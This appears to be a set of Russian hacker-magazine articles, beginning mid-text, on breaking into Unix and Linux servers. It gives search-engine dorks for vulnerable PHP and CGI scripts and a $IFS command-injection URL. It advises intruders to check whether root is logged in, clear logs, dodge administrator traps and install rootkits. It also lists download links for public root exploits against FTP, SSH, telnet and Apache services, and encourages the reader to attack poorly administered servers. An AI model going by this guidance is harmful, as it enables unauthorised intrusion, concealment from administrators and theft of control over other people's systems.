(например, /tmp/data). «Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом. Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов. В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой. Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$ifs-a способен обойти жесткую проверку. По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт. В PHP также можно произвести атаку на system(). Для этого необходимо поставить «;» по краям переменной, а саму переменную представить в виде команды. Если в сишном коде программиста заботит явление переполнения буфера, то Web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол. Ядра – чистый изумруд / «Ядерные» проблемы в *nix
Тебе, наверное, много раз приходилось слышать, что любой *nix – это некая «идеальная» система (в отличие от Windows), которая не зависает, не тормозит и т.д. Так ли это на самом деле? Поскольку надежность любой операционной системы зависит от ядра, обратим внимание именно на эту часть ОС. Для начала следует разобраться с основными понятиями *nix-систем. Это очень важный момент, без которого довольно сложно разобраться в структуре системы и ядре. Ядро полностью скрывает специфику компьютера от пользователя, но в то же время зависит от этой специфики. Первое, с чем нам предстоит столкнуться, – понятие пользователя. Здесь пользователь – это некто (нечто), имеющий свою учетную запись, состоящую из имени и пароля и еще некоторых данных вроде домашней директории. Ядро UNIX «узнает» пользователя по UID (User IDentifier) – идентификатору, который представляет собой уникальное целое число, присваемое при регистрации (автоматически или вручную админом). Пользователь относится к некой группе, определяемой GID'ом (Group IDentifier). Администратору системы отводится нулевой UID. Пользователь с таким UID называется root (рут). Это наиболее интересный персонаж, поскольку он имеет полный контроль над системой. Идеальный вариант использования какой-либо уязвимости для захвата системы – получение прав рута. Любой пользователь в процессе работы так или иначе обращается к файлам, и здесь нельзя избежать упоминания о файловой системе (ФС). ФС присуща древовидная структура, совершенно непривычная для пользователя DOS (Windows). Корневой каталог всегда имеет имя «/». Но это не значит, что в *nix возможно использование только одного устройства для хранения информации. «Куски» файлового дерева системы чаще всего размещаются на разных носителях, но логически это одна система. Каждый зарегистрированный пользователь имеет так называемую домашнюю директорию. В ней пользователь – царь и бог :). Теоретически юзер может получить доступ ко всем файлам в системе. Но такой доступ ограничен посредством привилегий. В отличие от MS-DOS у ФС *nix отсутствует такое понятие, как расширение файла (имя файла может содержать точку наравне с другими допустимыми символами). Кроме того, для файловых систем *nix характерна защита информации в файлах и трактовка периферийных устройств как файлов. В *nix есть ядро, которое управляет ресурсами компьютера и предоставляет пользователям некий ограниченный набор услуг. Мы будем рассматривать UNIX TimeSharing System V («традиционный» UNIX), поскольку на ее основе построено большинство современных клонов UNIX. Начнем с того, что UNIX – независимая от платформы система. Для ее работы на какой-либо машине достаточно лишь заново скомпилировать компоненты (написанные на C). Здесь стоит заметить, что единственный компонент, который все еще зависит от аппаратной части, – это ядро. Но в результате разделения аппаратно-зависимых и аппаратно-независимых компонентов ядра разработчикам удалось добиться того, что большая часть ядра может быть перенесена на любую платформу. Остается малая, но аппаратно-зависимая часть, которая включает следующие компоненты: – запуск и инициализация системы на низком уровне; – первичная обработка внутренних и внешних прерываний; – управление памятью; – переключение между режимами пользователя и ядра; – части драйверов, связанные с особенностями аппаратуры. Как видно, в зависимой части осталось лишь небольшое число функций, которые переписывают при переносе ОС на другую платформу. Давай теперь рассмотрим основные функции и подсистемы ядра. При включении выполняется инициализация системы. Эта функция занимается запуском и раскруткой. Средство раскрутки загружает полное ядро в память и запускает систему. Следующая функция – управление памятью, которая отображает виртуальную память процессов в оперативку. Кроме того, этот компонент обеспечивает использование одних и тех же областей оперативки для разных процессов с использованием внешних носителей. Основными подсистемами ядра являются подсистема управления файлами и подсистема управления процессами. Остановимся на них поподробнее, поскольку эти системы являются основным источником уязвимостей ядра. В UNIX каждому файлу в соответствие ставится некий индекс, в котором содержатся описание размещения информации на физическом носителе, права доступа, владелец и другие данные. Каждый файл имеет только один индекс. Когда процесс обращается к файлу по имени, ядро возвращает индекс файла. То есть каждое имя является указателем. Индексы хранятся в файловой системе, однако при работе с файлом ядро заносит их в таблицу индексов, которая находится в ОЗУ. Кроме таблицы индексов, ядро использует еще две информационные структуры: таблицу файлов и таблицу дескрипторов файла. Пользователь может получить доступ к файловым дескрипторам и раскрыть информацию. Итак, основные компоненты файловой системы: – Блок загрузки. Располагается в начале файловой системы и содержит программу начальной загрузки. – Суперблок. Здесь обозначаются свойства файловой системы: размер, расположение свободного пространства, количество файлов и другая информация. – Список индексов. Размер списка указывается администратором при генерации файловой системы. – Информационные блоки. Содержат данные файлов, а также служебные данные. Информационный блок может принадлежать только одному файлу. После того как загрузка ядра выполнена, нужно как-то создавать, завершать и следить за существующими процессами и нитями (здесь нить – это «процесс», выполняемый на общей виртуальной памяти). Этим занимается функция управления процессами и нитями. Ввиду мультипроцессорности *nix ядро обеспечивает разделение процессорного времени или процессоров, что создает эффект параллельности выполнения разных задач. Ядро – это невыгружаемый компонент, и поэтому процесс, выполняющийся в режиме ядра, продолжает свое выполнение до тех пор, пока не вернется в режим задачи либо пока не перейдет в состояние «сна». Благодаря невыгружаемости ядро обеспечивает целостность информационных структур и стабильность работы. Кроме обозначенных подсистем, существуют также коммуникационные средства, которые отвечают за обеспечение обмена данными. Ну и замыкающей функцией является программный интерфейс, который делает возможным доступ к ядру из более высокого уровня (со стороны пользовательских процессов). Как видно из вышесказанного, архитектура ОС в целом и архитектура ядра в частности – это стройная, хорошо продуманная система взаимодействия компонентов. Однако несмотря на это любая *nix – уязвимая система. В том числе и на самом нижнем уровне – ядре. Одна из основных причин уязвимостей ядра – возраст ОС. С одной стороны, клоны этой операционной системы становятся популярнее день ото дня в течение 25 лет, и это уникальный случай! Кроме того, на протяжении этих лет наращиваются и возможности системы, что является большим плюсом. Однако качественные улучшения структуры не успевали (и не успевают) за ростом ее возможностей. И поэтому можно утверждать, что современные варианты UNIX структурированы не идеально. Рассмотрим основные типы уязвимостей. Одна из самых распространенных уязвимостей программного обеспечения и ОС в частности. Эту уязвимость вызывает небольшая ошибка, позволяющая, однако, творить чудеса. Ошибка переполнения буфера случается, если в программе происходит копирование данных без проверки свободного места в пункте назначения (буфере). Когда данных слишком много, происходит переполнение и информация попадает за границы буфера. Умелое использование этого факта позволяет запускать произвольный код с правами переполненного приложения (то есть вполне может быть, что с правами администратора). Существует огромное количество такого рода уязвимостей. Главная причина уязвимости – использование некоторых функций стандартной библиотеки языка С, не проверяющих размеры своих аргументов (например strcpy, strcat, gets или sprintf), а *nix-системы (в том числе и большая часть ядра), как ты помнишь, почти целиком написаны на C. Актуальность этой уязвимости доказывает хотя бы последний найденный баг. В UNIX 9.x найдены множественные переполнения буфера в функциях strcpy() и p_stcopy(), позволяющие локальному пользователю переписывать в стеке значение регистра eip, что может привести к выполнению произвольного кода c root-правами (см. www.securitylab.ru). Данная проблема характерна как для *nix, так и для Windows. В никсах эта дырка обнаруживается в ядре и не имеет такого широкого распространения, как переполнение буфера. Правильно используя данную уязвимость, можно изменять файлы в системе. С первого взгляда кажется, что такая возможность не представляет особой ценности, однако подобным образом могут быть получены повышенные привилегии при помощи модификации критических файлов типа /etc/passwd и др. Если вышеперечисленные проблемы ядра носят «хронический» характер, то следующие уязвимости – разовые, характерные для определенного клона и его версии: 1) таблица перенаправления может быть подменена удаленными пользователями, если посылать пакеты с подделанным исходным адресом; 2) /proc/tty/driver/serial раскрывает точное число введенных символов через последовательные ссылки. В результате локальный атакующий может определить длину пароля и задержку между нажатиями клавиш в течение ввода пароля; 3) локальный пользователь может эксплуатировать уязвимость состояния операции чтения файла в системном вызове execve(), чтобы аварийно завершить работу системы; 4) уязвимость в программе обработки TCP-опций входящих пакетов. Причем уязвимость действительна, если в правилах встроенного фаервола применяется tcp-option. Во всем виновата функция tcp_find_option, которая некорректно обрабатывает поле длины пакета. Если это значение больше 127, программа зацикливается. Таким образом, можно исчерпать системные ресурсы и вызвать отказ в обслуживании (DoS). Итак, мы видим, что ядра систем *nix уязвимы. Некоторые уязвимости возникают из-за непосредственных ошибок при реализации. Другие – плоды изначально неправильной структуры ядра. При выполнении операций над группой файлов не пытайся использовать шаблон «*.*», как в Windows, поскольку в файловой системе *nix отсутствует понятие расширения файла. Если встретишь файл с именем «name1.name2.name3.etc», не паникуй – это вполне допустимое имя файла, не противоречащее правилам образования имен в UNIX. Общее название командных интерпретаторов – shell, поскольку они являются «оболочкой» ядра. Аппаратно-зависимая часть ядра делает потенциально более уязвимым все ядро, поскольку при переписывании могут возникать ошибки. Каждая файловая система имеет свой блок загрузки, несмотря на то что для запуска системы достаточно только одного. Ядро Linux более уязвимо, чем ядро «традиционной» UNIX, и существует ряд уязвимостей, которые характерны только для ядра Linux. Linux – «притон» хакеров / Коротко о главном
Linux – система, написанная хакерами и для хакеров? Почему не FreeBSD, не OpenBSD, не Windows, а именно Linux притягивает хакеров всего мира? Что можно делать и чего делать нельзя на захваченной машине? Шел далекий 1991-й год. На рынке решений для домашних пользователей наблюдалась монополия Microsoft. Windows 3.1 и DOS правили миром ;-). Конечно, находились энтузиасты, использующие другие системы, но их было очень мало. Компьютеры уже стали доступны многим, и росло число программистов, готовых ринуться в бой за идею. Благодаря Fido хакеры с разных концов света уверенно держали связь между собой и искали применение своему интеллекту. Мир как будто ждал чего-то… А тем временем мало кому известный студент факультета компьютерных наук Хельсинского университета Линус Торвальдс изучал операционные системы, современные компьютеры, языки программирования, просматривал мегабайты исходных кодов. Он учился. Когда пришло желание работать, у Линуса уже был огромный запас знаний по многим аспектам IBM PC. Так сложилось, что ни одна из существующих систем не удовлетворяла запросов хакера, и он решил писать свою. Тем более Линус считал, что полученный опыт поможет ему начать и заложить базис ядра. И действительно, после месяцев упорной и кропотливой работы Fido-сообществу были представлены исходники ядра, для сборки которого использовалась ОС Minux. Эта самая первая версия 0.0.1 ОС Linux стала той «критической массой», которая смогла разбудить программистов и хакеров от спячки и организовать работу. Код ядра начал расти и развиваться. Чуть позже добавляется загрузчик, своя файловая система и основные утилиты. В результате, мы имеем то, что называется модным словом «Linux». Тебе, наверно, интересно, для чего я так вольно и очень кратко рассказал историю Linux? Это вступление должно подвести нас к главному выводу: ядро ОС Linux написано хакерами и для хакеров. Действительно, основанный программистом-одиночкой проект попал в руки огромного количества грамотных программистов, которые хотели использовать свой PC с максимальной отдачей. Для них компьютер не был инструментом – для них это цель, а не средство. Дух свободы и творчества пронизал систему. Линус предугадал такой ход развития и выпустил свое творение под открытой лицензией. Именно эти ключевые моменты сформировали всю ОС. Сейчас мы наблюдаем бум популярности системы Linux. Интернет кричит, что это лучшая ОС как для серверов, так и для домашнего использования. Но так ли это на самом деле? Действительно, сейчас GNU/Linux представляет собой очень мощную и надежную систему с огромным количеством приложений. Причем это все доступно абсолютно бесплатно и в виде исходных кодов. Но повсеместному внедрению Linux мешает то, что пользователи должен иметь желание учиться. А таких мало… Но не пасующие перед трудностями иногда полностью переходят на Linux. Таким образом, система подтверждает свое звание ОС для хакеров. Так почему же именно Linux притягивает хакеров всего мира? Объяснить это лучше всего, сравнивая эту ОС с другими системами. Начнем, пожалуй, с самой близкой ОС – FreeBSD. Как ты знаешь, это тоже свободно распространяемая, POSIX-совместимая, доступная в исходных кодах система, то есть она имеет все основные преимущества Linux. И, кроме этого, у нее есть большой плюс: она разрабатывалась не с начала девяностых, а гораздо раньше, при этом очень неглупыми людьми. Кажется, все указывает на явное превосходство FreeBSD. Но есть одно большое но: развивать и дополнять эту BSD-систему могут только избранные разработчики ядра. А значит, далеко не каждый желающий программист может отправить свой участок кода для включения в ОС. С Linux все проще: если ты профи, то твоя работа будет оценена по достоинству и добавлена в ядро, при условии что это действительно полезная наработка. Решение о выпуске нового релиза Linux принимается исключительно централизованно. Причем дистрибутив не будет отправлен на реализацию до тех пор, пока множество бета-тестеров по всему миру не заявит об отсутствии ошибок в релиз-кандидате. Таким образом, FreeBSD выпускается достаточно редко, а значит, все новые идеи включаются в нее только после тщательного тестирования. В то время как хакеры, двигая прогресс, подчиняют его себе – используют свои разработки в повседневной работе, тем самым всегда оставаясь «на острие атаки». В итоге FreeBSD не стала «притоном» гениев. Аналогично обстоят дела и с OpenBSD. Хоть эта платформа более открыта, но ее «секьюрность» и постоянный аудит не дают ей возможности развиваться вместе с компьютерным миром. Поэтому и эта ОС не стала пристанищем свободомыслящих талантов ;-(. О Windows говорить как-то даже не хочется… Система, ориентированная на домохозяйку, не может быть гибкой, удобной и интересной компьютерному андеграунду. Остальные системы практически не представляют никакого интереса: либо они мало распространены, либо закрыты и недоступны для модификации. Так что же получит хакер, выбрав для себя ОС Linux? Прежде всего, свободу – свободу выбора, свободу творчества, свободу от монополий и регламентов производителей. И уже только потом очень сильную сетевую ОС. Администраторы все чаще выбирают Linux для своих детищ. И это легко объяснить. Админ получает, во-первых, очень стабильную ОС. Во-вторых, постоянное обновление и совершенствование не только системы, но всего сетевого ПО. Полный контроль над операционной системой привлекает грамотных системщиков, правда, достичь этого удается только в таких дистрибутивах, как Gentoo или LFS, но тотальная власть над системой реальна. Отсутствие всевозможных «закладок» и «меток», абсолютная прозрачность межсетевого взаимодействия позволяет Linux-админам спать спокойно. И все это дополняется огромным количеством документации, как в интернете, так и в бумажном варианте, как на английском, так и на русском языке. Этот список преимуществ Linux над другими *nix-системами можно продолжать довольно долго. Но! Раз есть админы и хакеры, то должны быть атаки и взломы, не так ли? Хотя система очень стабильна и продуманна, иногда можно слышать об удачных взломах Linux-хостов. Кто же виноват в том, что ОС отдается в руки хакера? Попробуем разобраться в этом. Чаще всего взломы и успешные атаки на Linux можно объяснить либо неграмотностью, либо ленью админа. Грамотно настроенная и вовремя обновляемая система практически неуязвима. Какие возможны атаки? Сначала поговорим о самой простой. Реализовать взлом несложно, достаточно почаще посещать security-сайты и отслеживать изменения на top-страницах эксплоитов. При обнаружении новой удаленной уязвимости сразу же начинать искать эксплоит, а, пока его еще не разработали, исследовать сервера на предмет этой уязвимости. Конечно, в твоем сетевом анализаторе этой уязвимости еще нет, и поэтому придется поработать головой: провести полное сканирование хоста на предмет выяснения версии сервисов. При обнаружении бажного релиза ожидать свеженького эксплоита и успевать брать root-шелл. Вообще, лучше немного оптимизировать процесс поддержания тебя в курсе всех изменений на security-фронте. Есть два варианта: простой – подписаться на рассылку, сложный – написать скрипт, который будет отслеживать изменения на заданных тобой Web-ресурсах по IT-безопасности, а в случае обновления автоматически скидывать тебе свежачок на мыло или мобильник (для этих целей можно использовать готовый софт, о котором мы неоднократно писали). Атака на незнание системщика гораздо сложнее. Хакер должен знать Linux и его сервисы гораздо лучше администратора хоста, он должен понимать всю модель взаимодействия сетевых компонентов между собой и с системой. Профессиональные хакеры работают именно так: изучают ОС в совершенстве, атакуют сервера редко, но метко. Успех определяется соотношением твоих IT-знаний и IT-знаний администратора. Собственно, больше принципиальных способов атаки нет. Все остальные варианты представляют собой модификации этих двух. Самое первое, что следует сделать при удачном входе, – это проверить, нет ли сейчас админа в системе. Команда 'who' позволяет узнать всех пользователей, работающих с системой в данный момент. Таким образом, если root уже зарегистрирован, то хакеру лучше уйти. Действовать дальше нужно только в том случае, если root на своем рабочем месте не обнаружен ;-). Следующий этап – разобраться с системой логирования и регистрации пользователей сервера. Я знаю администраторов, которые так опасаются за свой сервер, что создали скрипт, который при входе root в систему сразу отправляет администратору сообщение на мобильник, в котором содержится время входа, IP-адрес, с которого произошла регистрация, и номер виртуальной консоли, на которой работает сейчас суперюзер. Кроме этого, если не будет подтверждена регистрация, то сеанс завершится через определенный промежуток времени! Реализовано это с помощью следующего скрипта: при входе он создает определенный файл, и, если он не будет удален через некоторое время, программа считает, что произошел взлом сервера и скидывает псевдоадмина с терминала, отправляет предупреждение о критической ситуации настоящему администратору на мобильник. Поэтому сразу при входе нужно внимательно изучить содержание домашнего каталога и просмотреть все файлы, отвечающие за регистрацию. Их имена зависят от оболочки-интерпретатора. Затем – изучение лог-файлов и их очистка. Это первые шаги. Я не случайно так подробно описал одну из ловушек администратора – атакующий должен быть готов ко всему и очень хорошо знать атакуемую ОС. Без этого любой админ сможет рано или поздно вычислить и наказать взломщика. При любых действиях в системе следует анализировать результат предельно внимательно. Даже невинное создание папки в каталоге /tmp может выдать атакующего с потрохами (это очень просто реализуется встроенными средствами аудита ФС). Поэтому если ты создаешь рабочий каталог для себя, то после окончания сразу удаляй и чисти логи всех операций. Самое главное – это научиться думать, как администратор хоста, причем как грамотный администратор. Если взломщик недооценивает противника, рано или поздно он будет пойман. Поэтому бди! Никогда не следует менять пароль на учетную запись root. Это самое большое желание малограмотных скрипткидисов. Думая, что, сменив рут-пароль, они заблокируют доступ к серверу законного администратора, они очень глубоко ошибаются. Если админ не сможет с утра войти в систему – Linux не захочет опознать его пароль, то возможны два варианта. Если опыта и знаний немного, то он посчитает, что просто забыл ключ. Если же админ – матерый малый, то он сразу же узреет во всем атаку и будет восстанавливать пароль, параллельно усилив защиту до такого уровня, что любой скрипткиди скорее прохачит общественный сортир, чем его хост ;-). Кстати, процедура восстановления пароля предельно проста: загружаемся с CD или дискеты, монтируем разделы сервера, смотрим /etc/passwd, удаляем запись пароля root, отмонтируем винт, ребутимся в Linux, логинимся с пустым пассом. Таким образом, 10-минутная остановка сервера стоит тебе бессонной ночи и утраты этого сервака – при восстановлении пароля защита будет усилена. Не рекомендую добавлять пользователей на взломанную систему. Просто очень многие администраторы опасаются за безопасность своего хоста и ставят ловушку на команду «adduser», которая отправляет сообщение на почту всякий раз при создании аккаунта пользователя, да и это еще не все. Некоторые сервера имеют сильную связь с остальными машинами сети: например, хакер взломал Dial-in сервер провайдера, добавил своего пользователя, прописал скрипты, выдержал паузу и захотел попользоваться плодами своего труда. Но не тут-то было: сервер его пускает, но при попытке запуска сессии PPP процесс умирает по тайм-ауту. Причина проста до безобразия – машина, принимающая звонки, не имела на своем хосте базы пользователей! Весь биллинг был на отдельном сервере, который и записывал в логи подозрительные запросы на несуществующего пользователя. После нескольких таких ошибок админ получил письмо с вырезкой лог-файла. И, как следствие, хакер лишился доступа на Dial-in. Поэтому не повторяй чужих ошибок и никогда не добавляй пользователя, не разобравшись, как устроен весь механизм взаимодействия серверов. Не ставь руткитов, не изучив сервер полностью. Это грозит полной утратой аккаунта – ночные проверки безопасности, постоянные лог-анализы, сравнение хеш-функций у основных утилит гарантированно выдадут действия взломщика. Чтобы этого не случилось, изучай систему как можно тщательней. Кроме этого, категорически запрещается убивать процессы сервера. Даже такой вредный и опасный для хакера демон, как syslog, должен крутиться в системе, когда он что-то там делает. Причина банальна – очень часто при остановке критических процессов они перезапускаются, а, если падают и во второй раз, – отправляют сообщение админу на мобильник, в котором приведена информация о том, что случилось, кто и откуда работает в системе, что делает и т.д. Как нельзя убивать чужие сервисы, так нельзя и запускать своих демонов на сервере. Точнее, это делать можно и нужно, но только после установки соответствующих руткитов, которые смогут скрыть активность левых приложений на хосте. Если взломщик надеется подольше удержать за собой максимальные права на Linux-сервере, то он должен постараться выполнить еще несколько действий. Самое главное – это изучить всю систему и найти «закладки»: программы и скрипты, установленные администратором сервера, предназначенные для поиска и ликвидации взломов. Наиболее популярны для Linux-серверов на сегодня скрипт, который следит за подтверждением входа (следует искать в /root файл конфигурации оболочки пользователя) и скрипты проверки хеш-суммы всех утилит системы. Чаще всего они запускаются с помощью cron от root, поэтому следует внимательно изучать вывод команды crontab. Если не будет найдено никаких подозрительных записей для cron, то взломщику чаще всего необходимо изучить /var/log. Именно этот каталог содержит результаты всех проверок, если они существуют, и в нем легко можно обнаружить отчеты ловушек админа. Просмотрев журнал, следует подумать об установке руткита, если, конечно, на хосте не установлена программа-ревизор. Ну а после успешного инсталла все становится проще: патченые утилиты будут прикрывать тебя и твои процессы в нужный момент, а админ будет спать спокойно, не зная, что его сервера находятся под чужой властью :-). Если же администратор попался грамотный и установил все возможные ловушки-анализаторы, то тут необходимо действовать крайне осторожно. Учти, что даже банальный запуск mc вызовет изменения времени доступа на некоторых файлах. Чтобы удержаться на таком защищенном хосте, необходимо быть предельно внимательным, забыть про всякие утилиты-помощники и всегда чистить логи своих действий. Причем обязательно нужно следить за программой-ревизором, то есть перед ее запуском на сервере не должно быть никаких следов действий хакера, как и самого взломщика не должно быть в системе :-). Общеизвестное правило – чем дольше изучаешь систему перед установкой каких-либо своих прог, тем больше шансов воспользоваться этими софтинами в будущем. Так складывается ситуация, что хакер встает на борьбу не только со знаниями админа, но и со всевозможными ловушками, чаще всего написанными крупными IT-специалистами. Linux был, есть и будет той единственной системой, в которой хакер чувствует себя предельно просто и комфортно. Но пингвин – птица гордая, пока не пнешь, не полетит. Поэтому тем, кто действительно хочет понять всю силу и удобство Linux, прямая дорога в мир source-base дистрибутивов. Только там, пройдя через бессонные ночи, килограммы манов, ты познаешь счастье, которое позволит тебе понимать мир хакеров. При создании системы Линус использовал единственный источник – книгу Мариса Баха «Разработка ОС UNIX». Linux – это самая открытая и свободная система, но при этом ядро потенциально нарушает множество патентов, по мнению некоторых компаний (например, небезызвестной SCO). Детище хакера-одиночки угрожает монополии софтверного гиганта. Сервисная угроза / Атаки на конкретные службы
Никто не застрахован от ошибок. В сети всегда отыщется сервер с бажным демоном. Не важно, каким именно будет сервис. Важно то, что ты в любой момент можешь его взломать, заработав на этом системные привилегии. Инертность системных администраторов впечатляет. Админы реагируют на уязвимость в определенной службе лишь тогда, когда баг перерастает в эпидемию. В обычных случаях никто не мешает хакеру поиметь хороший ресурс через уязвимость в сервисе. Однако получить shell после однократного применения эксплоита удается далеко не всегда. С твоего позволения, я рассмотрю особенности демонов включая их стойкость к различным эксплоитам. Начнем с самого низкого системного порта. На двадцать первом порту расположился интересный демон FTP. Ты хочешь поломать его, но вот беда: не знаешь, какой FTPD выдержит атаку, а какой – нет. Публичные эксплоиты встречаются для двух служб: WuFTPD и ProFTPD. Несмотря на дырявость они до сих пор используются админами в работе. Поговорим о каждом релизе в отдельности. Wu-FTPD. В старых версиях сервера таится несколько критических уязвимостей, направленных, в основном, на переполнение буфера. Эксплуатирование основано на пересылке слишком длинной команды с shell-кодом, в результате чего у сервиса напрочь срывает крышу. В результате атаки взломщик получает полноценный rootshell (не стоит забывать, что подавляющее число демонов работают из-под root’а). В простом случае тебе достаточно скачать эксплоит под уязвимую версию и запустить его с определенными параметрами. Через некоторое время ты получишь права суперпользователя. Но довольно часто бывает, что админ специально подменил баннер FTPD. По понятным причинам администратор не хочет, чтобы его взломали, поэтому обзывает демон загадочным именем, против которого хакер не найдет нужного эксплоита. К счастью, Wu-FTPD обладает признаками, которые отличают его от сервисов других производителей. Чтобы определиться в названии сервиса, зацепись на него и попробуй залогиниться. Затем напиши команду quit. Если это действительно Wu, то ты увидишь полную статистику по переданным данным (причем номер команды будет равняться числу 221). Кроме этого, в случае анонимного захода Wu-FTPD обязательно проинформирует тебя о правильности email-адреса, который задается в качестве пароля. Подобная дружелюбность позволит вывести сервер на чистую воду. И, наконец, эксплоиты. Конечно же, абсолютно все версии WuFTPD уязвимы, но в публичных источниках ты можешь найти сплоит для взлома релиза 2.6.2 (www.security.nnov.ru/files/0x82-wu262.c). Придется довольствоваться тем, что есть. Что касается ProFTPD, то эта служба еще дырявее. Существует эксплоит для предпоследнего релиза 1.2.9rc2, что говорит о некомпетентности программистов. Самая популярная ошибка в демонах FTPD – переполнение при передаче длинного параметра какой-либо команде. Но последний эксплоит ориентирован на срыв буфера во время закачивания ASCII-файла. Я протестировал работу этого чудного эксплоита (www.security.nnov.ru/files/10.04.proftpd_xforce.c) на версии 1.2.9 и легко получил удаленного root'а. Одна проблема – в публичном эксплоите содержится всего две мишени (таргета :)). Хочешь большего? Тогда качай файл www.security.nnov.ru/files/proft_put_down.c. Он снабжен брутфорсом, поэтому является универсальным для всех конфигураций. Если админ меняет баннер от ProFTPD, это не говорит о том, что хакер не обнаружит баг. Демон выдает себя с потрохами фразой «Anonymous Login ok» при передаче анонимного логина. Для справки: все остальные FTPD вместо слова «Anonymous» пишут «Guest». Когда-то я раскусил службу именно по этой отличительной особенности. Чего и тебе желаю :). Следующий сервис, который я опишу, – это sshd. Он висит на 22-м порту и служит для удаленного подключения к серверу. Служба снабжена защитным алгоритмом шифрования, поэтому хакер никогда не отловит пароль, передающийся демону. Что касается стойкости ко взлому, то в наше время sshd практически неуязвим. Пару лет назад хакеры написали эксплоит x2 (www.security.nnov.ru/files/x2.tgz), который уже давно находится в публичных источниках. Он позволяет взять удаленного root’а. Это удавалось, если версия SSH совпадала с релизом, забитым в target. Эксплоит содержал аж 46 целей, правда, на практике удавалось получить root’а лишь в 5-6 из них. Что удивительно, даже сейчас можно встретить уязвимые версии демона (с 1.5-1.2.27 по 1.2.33) в различных локальных сетях. Стоит лишь получить доступ к маршрутизатору и просканить баннеры всех сервисов локальной сети. Кто знает, может тебе и повезет… Сейчас мы займемся взломом telnetd. Несмотря на то что это старый сервис, он используется на многих unix-like-машинах. Почему же админы его не сносят? Все просто – они оставляют демон в качестве резерва, фильтруя его от внешнего мира. В этом случае ты не законнектишься на сервис, однако сможешь без проблем получить локального root’а, если атакуешь сервер другим способом. Впрочем, бывают и исключения. К примеру, в Солярке телнет – вообще сервис по умолчанию, поэтому 23-й порт на таких серверах светится всегда. От тебя требуется воспользоваться услугами одного из двух эксплоитов. Первый называется 7350logout (http://examples.oreilly.de/english_examples/networksa/tools/7350logout), он переполняет буфер в telnetd, засоряя его некорректными данными. Зловредный бинарник способен взломать службу в Солярках 5.6-5.8 за несколько секунд. Второй эксплоит с именем holygrail (http://examples.oreilly.de/english_examples/networksa/tools/holygrail.c) ломает Соляры 5.5-5.7 удаленно и 5.8 локально. Заюзать эти сплоиты несложно. Достаточно лишь передать им параметры хоста и версии операционки. Кстати, версия Солярки всегда указана в баннере telnetd, что в несколько раз облегчает твою работу. Бажный демон telnet’а встречается в других системах. Например, во FreeBSD. Для определенных версий FreeBSD существует специальный эксплоит, переполняющий буфер в сервисе. Итог – удаленный root на уязвимой системе. Сейчас такой демон в глобале не встретить, раритетные системы существуют разве что в локальной сети какой-нибудь фирмы. Служба постепенно замещается защищенным SSHD, поэтому судьба telnetd предрешена. Думаю, через пару лет ты вообще забудешь, что когда-то существовал подобный демон. А пока – атакуй сервера, админы которых не позаботились о безопасности. WWW – источник всех бедОбратимся к самой популярной глобальной службе – WWW. Думаю, не стоит говорить, что наиболее часто используемый демон в unix-like-операционках называется Apache. Несмотря на его относительную стабильность баги в Apache существуют. Точнее, не в самом сервере, а в его многочисленных модулях. Начнем с самого популярного – mod_php. Баг довольно старый, но грех о нем не вспомнить. К тому же, бажные версии модулей можно встретить в сети до сих пор. Итак, ошибка в компоненте заключается в обработке внешних параметров. Если хакер пересылал хитрый запрос любому скрипту, модуль мог открыть shell с командным интерпретатором. Так и происходило, правда, перед этим эксплоит долго перебирал запросы. Еще один баг затаился в протоколе OpenSSL. Хакеры быстро реализовали эксплоит для mod_ssl, который позволял брать права WWW-сервера. После длительного ажиотажа многие админы обновили библиотеки SSL, в результате чего уязвимость потеряла свою остроту. Раритетный эксплоит называется OpenFuck, вторую его версию ты можешь скачать по адресу http://packetstormsecurity.org/0304-exploits/OpenFuckV2.c. Хочешь баг посвежее? Держи! Брешь актуальна для связки Apache 2.x с mod_perl. Модуль, позволяющий добиться акселерации при запуске CGI-сценариев, содержит утечку важных файловых дескрипторов. Сейчас я наглядно объясню, к чему это может привести. Для эксплуатирования жертвы хакеру придется добиться локальных привилегий. Это нужно для того, чтобы иметь доступ к WWW-каталогу и заливке скрипта (думаю, подойдут права nobody в web-shell’е). Взломщик пишет сценарий, который рождает подпроцесс, а затем останавливает httpd. Затем потомок становится демоном, имитирующим работу Web-сервера. На все запросы клиентов он отвечает, что админа поимели :). Подобное описание всех шагов хакера можно найти на странице www.securitylab.ru/42355.html. Давай теперь поговорим о других библиотеках. Не так давно стал уязвим компонент mod_gzip (www.security.nnov.ru/files/85mod_gzip.c), который служит для сжатия контента перед передачей. Уязвимость была обнаружена в конце лета прошлого года. Через банальное переполнение буфера злоумышленник может порождать процессы под правами nobody. Для этого хакеру требовалось послать определенные данные, включающие параметр Accept-Encoding. Неважно, на какой системе крутится Apache – баг таится как в FreeBSD, так и в RedHat, Mandrake, SuSE. Все потому, что эксплоит снабжен брутфорсом, который каждый раз перебирает адрес возврата. В случае его успешного определения злоумышленник получит интерактивный shell. При этом версия модуля не должна быть выше 1.3.26. Поразительно, но даже сейчас баг актуален. За примерами далеко ходить не надо, просто взгляни на скриншот. Бывает, что и в самом Apache встречаются баги. Даже при отсутствии дополнительных библиотек. Это показала критическая уязвимость в OpenBSD/NetBSD, позволяющая брать shell через дырявый httpd (www.security.nnov.ru/files/apache-nosejob.c). Правда, сейчас найти уязвимый сервер практически невозможно. Я перечислил основные службы, большинство из которых установлены практически на каждом сервере. Однако существуют и другие уязвимые сервисы, пусть 